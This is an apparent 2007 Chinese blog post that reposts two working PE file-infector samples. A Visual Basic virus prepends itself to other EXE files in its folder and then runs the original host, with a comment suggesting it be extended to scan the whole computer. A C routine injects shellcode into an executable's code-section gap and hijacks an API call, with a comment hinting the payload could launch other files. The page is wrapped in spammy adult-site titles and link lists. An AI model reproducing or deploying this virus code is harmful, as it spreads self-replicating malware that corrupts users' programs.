青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

感染EXE

收集兩篇感染exe的文章,有時(shí)間了把它寫出來

VB:

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代碼
Private hArray() As Byte '要感染的文件的代碼
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出錯(cuò)處理

'原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'這是在讀自己的代碼


Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個(gè)文件(目前只是在病毒所在的目錄下隨機(jī)選一個(gè),將來你可以修改,讓它不斷的循環(huán)搜索計(jì)算機(jī)上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'讀出病毒自身的代碼


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保證被感染的不是空文件(不是圈套)
End If
End If
'讀出準(zhǔn)備被感染的文件的代碼

Victim = Dir() 'Next

Wend

'下面的工作是為了保證病毒不會(huì)重復(fù)感染一個(gè)文件,也不會(huì)自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出錯(cuò)處理,空著就可以了

End Sub



VC:

/**************************************************************
* 函數(shù):InjectCode
* 參數(shù):char szHostFile[]--待感染的exe文件路徑

* 功能:感染一個(gè)exe程序,運(yùn)行顯示“金豬拜年”的MessageBox
* 從代碼節(jié)開始搜索,替換第一個(gè)發(fā)現(xiàn)的call api的指令
* 把目標(biāo)代碼插入代碼節(jié)的尾部
* 代碼僅供演示之用,沒有做過多的錯(cuò)誤處理
* 感染當(dāng)前hello.exe,插入一段彈出對話框代碼(當(dāng)然你可以修改成啟動(dòng)文件的代碼,嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* 編譯:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改為當(dāng)前系統(tǒng)的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

posted on 2007-10-08 14:21 葉子 閱讀(1077) 評論(0)  編輯 收藏 引用 所屬分類: 技術(shù)研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲第一中文字幕| 久久―日本道色综合久久| 又紧又大又爽精品一区二区| 亚洲精品男同| 韩国三级在线一区| 一区二区三区导航| 亚洲免费观看视频| 久久综合给合| 久久综合九色综合久99| 国产精品毛片| 日韩亚洲一区在线播放| 亚洲国产精品成人一区二区| 午夜精品福利在线观看| 亚洲性感美女99在线| 欧美成人综合一区| 欧美成人午夜视频| 激情欧美一区| 久久精品视频导航| 久久久久久久尹人综合网亚洲 | 国产午夜精品久久久久久久| 一区二区三区四区五区精品| 亚洲午夜在线观看| 欧美视频二区| 在线亚洲欧美专区二区| 亚洲伊人色欲综合网| 国产精品v日韩精品| 一区二区三区视频在线| 亚洲欧美激情在线视频| 国产精品va在线| 亚洲欧美成人在线| 欧美一区二区在线播放| 国产主播一区二区| 久久亚洲欧美| 亚洲国产精品一区在线观看不卡| 亚洲国产精品专区久久| 欧美成人精品福利| 99视频国产精品免费观看| 中文欧美在线视频| 国产精品久久久久久模特| 亚洲欧美国产精品专区久久| 久久激情五月丁香伊人| 伊甸园精品99久久久久久| 免费成人激情视频| 一二三四社区欧美黄| 久久国产精品久久精品国产| 一区二区三区中文在线观看| 蜜臀av性久久久久蜜臀aⅴ四虎 | 亚洲免费综合| 久久综合国产精品| 亚洲人成网站999久久久综合| 欧美国产日本在线| 亚洲一区二区四区| 女女同性精品视频| 亚洲午夜av电影| 好吊妞**欧美| 欧美日韩在线播放三区| 欧美永久精品| 亚洲日本无吗高清不卡| 久久精品水蜜桃av综合天堂| 亚洲国产一区二区视频| 国产精品久久波多野结衣| 久久黄色级2电影| 日韩亚洲欧美高清| 久久婷婷麻豆| 亚洲综合日韩在线| 91久久极品少妇xxxxⅹ软件| 国产精品久久久久久久久久免费| 欧美在线免费一级片| 亚洲精品孕妇| 美女性感视频久久久| 在线视频你懂得一区二区三区| 国产一区在线观看视频| 欧美日本精品| 老司机67194精品线观看| 亚洲在线一区二区三区| 亚洲三级国产| 蜜桃久久av一区| 久久本道综合色狠狠五月| 夜夜爽夜夜爽精品视频| 在线播放国产一区中文字幕剧情欧美 | 国产精品久久久久av| 麻豆成人在线观看| 午夜久久久久久| 一区二区三区精品久久久| 欧美国产免费| 久久天天躁夜夜躁狠狠躁2022 | 欧美一区二区网站| 99人久久精品视频最新地址| 加勒比av一区二区| 国产欧美日韩另类一区| 欧美日韩一级片在线观看| 嫩草国产精品入口| 久久精品视频亚洲| 久久成人免费视频| 香蕉乱码成人久久天堂爱免费 | 亚洲激情视频在线播放| 免费在线看一区| 久久女同互慰一区二区三区| 午夜精品一区二区三区在线播放| 一区二区三区 在线观看视频 | 亚洲高清电影| 亚洲成人在线| 亚洲电影在线| 亚洲国产高清视频| 在线免费观看视频一区| 在线观看一区二区精品视频| 激情久久五月| 亚洲电影视频在线| 亚洲人人精品| 一本久久a久久精品亚洲| 日韩一级不卡| 在线亚洲电影| 亚洲免费在线精品一区| 午夜精品电影| 久久裸体视频| 欧美插天视频在线播放| 欧美国产综合一区二区| 亚洲国产欧美日韩另类综合| 亚洲国产精品久久久久秋霞不卡| 亚洲第一精品福利| 亚洲精品乱码久久久久久| 亚洲毛片在线| 亚洲一区二区三区免费视频| 午夜精品久久久久久久久久久久| 性做久久久久久| 久色婷婷小香蕉久久| 欧美激情片在线观看| 国产精品二区三区四区| 国产情人节一区| 91久久精品久久国产性色也91| 亚洲精品日韩激情在线电影| 这里只有精品视频| 午夜视频一区二区| 麻豆久久久9性大片| 亚洲三级毛片| 欧美亚洲免费高清在线观看| 麻豆精品精华液| 欧美午夜久久| 一区二区亚洲精品| 99精品久久免费看蜜臀剧情介绍| 亚洲欧美激情视频| 欧美成人日韩| 亚洲一区二区伦理| 免费亚洲电影在线| 国产精品久久久久久av福利软件| 国产一区二区成人| 亚洲毛片播放| 久久久久综合网| 亚洲美女黄色片| 久久精品视频va| 国产精品swag| 亚洲高清不卡| 久久狠狠婷婷| 亚洲人成网站影音先锋播放| 午夜在线电影亚洲一区| 欧美激情一区二区三区高清视频| 国产精品一区久久久| 日韩视频第一页| 久久中文字幕一区| 亚洲欧美激情视频在线观看一区二区三区 | 亚洲精品一区中文| 久久只有精品| 国产亚洲va综合人人澡精品| 亚洲精品一区二区三区婷婷月| 欧美一级一区| 一本色道精品久久一区二区三区| 久久久久久久久久码影片| 国产精品久久久999| 91久久精品一区二区别| 久久九九精品| 亚洲欧美日韩在线播放| 欧美日韩岛国| 亚洲日本无吗高清不卡| 美女视频黄免费的久久| 午夜精品久久久久久久久| 欧美视频一区二区三区…| 亚洲精品在线观看免费| 欧美18av| 久久久久久噜噜噜久久久精品| 国产欧美日韩| 亚洲欧美一区二区三区极速播放 | 亚洲视频专区在线| 欧美日韩美女一区二区| 最新国产精品拍自在线播放| 欧美fxxxxxx另类| 久久免费高清视频| 永久域名在线精品| 免费欧美电影| 毛片一区二区| 最近中文字幕mv在线一区二区三区四区| 久久亚洲综合色一区二区三区| 欧美一级播放| 国内偷自视频区视频综合| 久久国内精品自在自线400部| 亚洲免费在线播放| 国产亚洲精品久久久久婷婷瑜伽| 久久不射网站| 久久精品亚洲| 亚洲人成人一区二区三区| 亚洲第一区色|